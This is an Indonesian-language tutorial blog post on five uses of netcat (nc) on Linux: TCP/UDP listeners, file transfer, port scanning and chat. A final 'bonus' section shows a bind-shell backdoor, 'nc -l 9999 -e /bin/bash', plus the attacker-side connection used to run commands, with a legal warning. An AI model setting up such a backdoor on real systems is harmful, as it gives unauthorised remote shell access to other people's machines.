GNU/Linux >> Belajar Linux >  >> Linux

5 Contoh Perintah Netcat (nc) di Linux

Netcat adalah alat jaringan yang kuat dan serbaguna yang tersedia untuk mesin Linux, Mac, dan Windows. Mudah digunakan dan pembelajaran penting bagi semua orang yang tertarik dengan komunikasi jaringan.

Fungsionalitas inti Netcat memungkinkan dua komputer untuk terhubung dan berbagi sumber daya. Nama ini merupakan gabungan dari jaringan dan gabungan, yang merupakan kata yang bagus untuk menggabungkan berbagai hal.

Koneksi dapat dilakukan secara langsung antar mesin melalui port TCP atau UDP. Setelah ditetapkan, ada banyak kasus penggunaan potensial. Komunikasi dapat bekerja dua arah sehingga file atau informasi dapat berpindah dari pendengar ke klien atau klien ke pendengar.

Netcat dikenal sebagai IT “Swiss Army Knife” karena fungsinya yang luas. Ini dapat digunakan untuk mengirim file sederhana, mengobrol, melayani web, menjalankan kode dari jarak jauh. Daftarnya luas dan beragam.

Saya akan menyoroti beberapa aplikasi yang lebih umum di seluruh artikel ini.

Menariknya, netcat dapat digunakan untuk membuat akses "pintu belakang". Saya akan menjelaskan cara kerjanya, tetapi perlu diingat bahwa ini bukan lagi bagian dari perangkat lunak nc karena potensinya untuk penggunaan yang berbahaya.

Contoh perintah Netcat (nc)

Berikut sintaks untuk perintah nc:

nc [options] [hostname] [port]

Sintaksnya dapat bervariasi tergantung pada aplikasinya, tetapi untuk sebagian besar penggunaan, perintah Anda akan mengikuti pola dasar ini.

Mari kita lihat

1. Buat Koneksi Menggunakan TCP dengan perintah netcat

Seperti yang saya sebutkan sebelumnya, fungsi inti netcat adalah menggabungkan dua mesin. Anda dapat mengatur koneksi menggunakan TCP untuk menghubungkan dua mesin terpisah, Anda juga dapat meniru koneksi tersebut menggunakan terminal.

Mesin Pendengar:

nc -l 8080

Perintah ini membuka port 8080 dan memberi tahu mesin untuk mulai mendengarkan pada port ini.

Untuk membuat koneksi, Anda akan menggunakan terminal lain dan memasukkan yang berikut ini.

Mesin Klien:

nc 127.0.0.1 8080

Anda juga dapat menggunakan 'localhost' sebagai pengganti IP, atau menggunakan IP PC kedua Anda di sini jika Anda membuat koneksi jarak jauh.

Itu saja, Anda telah membuka port TCP dan membuat koneksi antara dua sistem.

Pengantar Cepat tentang TCP vs UDP

Mengapa kami menggunakan TCP secara default? TCP adalah teknologi yang lebih tua dari UDP dan mereka beroperasi pada tingkat yang berbeda dari model OSI. Saya akan memberikan gambaran singkat tentang perbedaan di antara mereka dan menjelaskan beberapa situasi di mana Anda dapat memilih salah satu dari yang lain.

TCP memiliki kemampuan koreksi kesalahan yang kuat. Apa artinya? Pada dasarnya, ini berarti bahwa ketika paket data sedang dalam perjalanan dari sistem ke sistem, ada pengujian terus menerus yang dilakukan. Pengujian ini memastikan bahwa informasi dari Sistem A disalin secara akurat ke Sistem B. Ini adalah versi yang sangat disederhanakan dari apa yang terjadi saat informasi berjalan melintasi jaringan (internet).

Ada banyak protokol yang digunakan dalam komunikasi internet, bukan hanya TCP. UDP memiliki aturan yang berbeda dari TCP. Keduanya tidak selalu “lebih baik” tetapi mereka masing-masing dapat unggul dalam melakukan tugas yang berbeda.

Mengapa kita menggunakan UDP melalui TCP atau sebaliknya? Itu tergantung pada aplikasi. TCP lebih lambat, tetapi lebih andal untuk mentransfer data secara akurat.

UDP dapat dipilih dalam situasi di mana kecepatan lebih penting daripada keandalan transmisi informasi. Salah satu contohnya adalah streaming data, seperti video. Video dapat ditransfer lebih cepat melalui UDP, dan meskipun ada kesalahan dalam transmisi, kemungkinan kecilnya akan memengaruhi pengalaman pengguna.

2. Buat koneksi menggunakan UDP dengan perintah nc

Langkah-langkah untuk membuat koneksi UDP hampir identik dengan yang telah kita ikuti. Anda akan menambahkan tanda opsi untuk menentukan bahwa jenis port yang ingin Anda buka adalah UDP, bukan TCP default.

nc -l -u 999

Sesederhana itu. Itu saja yang perlu Anda lakukan untuk membuka port UDP '999'.

Anda mungkin bertanya-tanya apakah Anda dapat menggunakan TCP dan UDP dengan nomor port yang sama. Anda bisa, karena mereka adalah protokol yang terpisah.

3. Gunakan perintah nc untuk mentransfer file antar sistem jarak jauh

Ada metode lain untuk mentransfer file dari satu sistem ke sistem lain. Anda juga dapat menggunakan perintah netcat untuk tujuan ini.

Untuk contoh ini, saya membuat demo yang menggambarkan transfer file jarak jauh dari mesin Linux saya ke MacBook Pro.

Mengatur PC Linux untuk Menerima

nc -l 9999 > fromMac.file

Anda mulai mendengarkan pada mesin penerima pada port TCP 9999. The ‘> ' memberi tahu mesin bahwa Anda mengharapkan file yang akan ditransfer. Nama berikut adalah nama lokal untuk file tersebut.

Mengatur Mac PC untuk Mengirim

nc 172.20.1.168 9999 < toLinux.file

Alamat IP di sini milik mesin Linux. Anda membalik simbol menjadi ‘< ' dan file 'toLinux.file' akan disalin ke mesin jarak jauh sebagai 'fromMac.file'.

Berikut ini contoh penggunaan dua mesin berbeda untuk mengirim file.

4. Gunakan perintah nc untuk pemindaian port

Mungkin ada opsi yang lebih efisien untuk pemindaian port, tetapi dapat dilakukan dengan netcat. Karena netcat terinstal secara default di sebagian besar sistem operasi, senang mengetahui cara melakukan ini jika Anda perlu melakukan pemecahan masalah cepat. Anda akan menggunakan '-n' dan menampilkan keluaran verbose.

nc -v -n 127.0.0.1 1-100

Ini mencoba membuat koneksi ke port antara 1-100. Port 80 adalah HTTP, seperti yang saya yakin banyak dari Anda tahu. Port ini biasanya terbuka pada mesin karena digunakan untuk menghubungkan ke internet.

Ketika saya menggunakan perintah ini, saya sebenarnya mencoba untuk terhubung ke semua port antara 1-100. Itu berhasil terhubung ke port 80, tetapi menghasilkan pesan kesalahan dari Apache. Saya berakhir dengan beberapa keluaran HTML di terminal karena komputer saya melihatnya sebagai permintaan halaman yang buruk.

[...]
nc: connect to 127.0.0.1 port 77 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 78 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 79 (tcp) failed: Connection refused
Connection to 127.0.0.1 80 port [tcp/*] succeeded!

HTTP/1.1 400 Bad Request
Date: Fri, 20 Dec 2019 15:08:29 GMT
Server: Apache/2.4.38 (Ubuntu)
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Ubuntu) Server at pop-os.localdomain Port 80</address>
</body></html>

Mode I/O Nol

Untuk menghindari hal ini, Anda dapat menggunakan -z flag, yang berarti nol input/output. Ini adalah mode pemindaian port bawaan untuk netcat. Saya masih mendapatkan bahasa yang sama, tetapi sebenarnya tidak membuat koneksi ke port 80 menghasilkan kesalahan permintaan yang buruk. Alih-alih, ini berlanjut melalui semua port yang dipindai.

5. Ngobrol dengan Netcat

Ini adalah cara yang lebih menyenangkan untuk menggunakan netcat. Saat Anda membuat koneksi TCP seperti di atas, Anda sebenarnya dapat "mengobrol" dari mesin ke mesin. Ini kurang baru di era di mana aplikasi SMS dan obrolan ada di mana-mana, tetapi ini akan benar-benar mengejutkan seseorang pada tahun 1996.

Berikut adalah animasi yang menunjukkan saya berbicara dari satu terminal ke terminal lainnya.

Cukup keren, bukan?

Tips Bonus:Buat pintu belakang dengan perintah nc

Saya akan menunjukkan ini untuk tujuan demonstrasi saja. Perlu diketahui bahwa penggunaan yang tidak sah dari perintah ini dapat dianggap sebagai aktivitas kriminal di lokal Anda.

Faktanya, perintah ini tidak lagi melakukan apa pun dengan 'nc'. Ada cara untuk melakukannya, tetapi Anda harus menemukannya di tempat lain. Sekali lagi, ini dimaksudkan hanya untuk menunjukkan kemampuan.

-e flag membuat sesuatu dapat dieksekusi. Cara umum bagi pelaku jahat untuk mendapatkan akses adalah dengan membuat pintu belakang semacam itu pada port terbuka dan menggunakannya untuk menjalankan skrip atau memanipulasi sistem file.

Jadi, jika penyerang mendapatkan akses ke mesin "korban", dia dapat membuat pintu belakang seperti ini:

nc -l 9999 -e /bin/bash

Sekarang penyerang dapat menggunakan pintu belakang ini untuk mengakses sistem dari jarak jauh dan menjalankan perintah. Jadi, dari sistem penyerang:

nc 192.168.1.10 9999
ls
Desktop
Documents
Downloads
Music 
Pictures
Public
Templates
Videos
firefox linuxhandbook.com

Ini memungkinkan penyerang mengakses komputer Anda dari jarak jauh dari baris perintah. Setelah terhubung, saya dapat menjalankan perintah bash dengan cara yang sama seperti jika saya menggunakan komputer secara langsung.

Saya yakin Anda dapat membayangkan bagaimana seseorang tanpa niat baik dapat menyalahgunakan kekuatan ini. Ini membuatnya sangat penting untuk memantau aktivitas port pada jaringan apa pun.

Saya harap Anda menikmati pengenalan singkat tentang perintah netcat ini. Seperti biasa, beri tahu kami pendapat Anda di bagian komentar.


Linux
  1. 9 Contoh Perintah Split yang Berguna di Linux

  2. 7 Contoh Perintah Linux df

  3. sa Contoh Perintah di Linux

  1. w Contoh Perintah di Linux

  2. Contoh Perintah ac di Linux

  3. Contoh Perintah df di Linux

  1. Perintah Sed Linux:Penggunaan dan Contoh

  2. Contoh Penting dari Perintah File di Linux

  3. du Contoh Perintah di Linux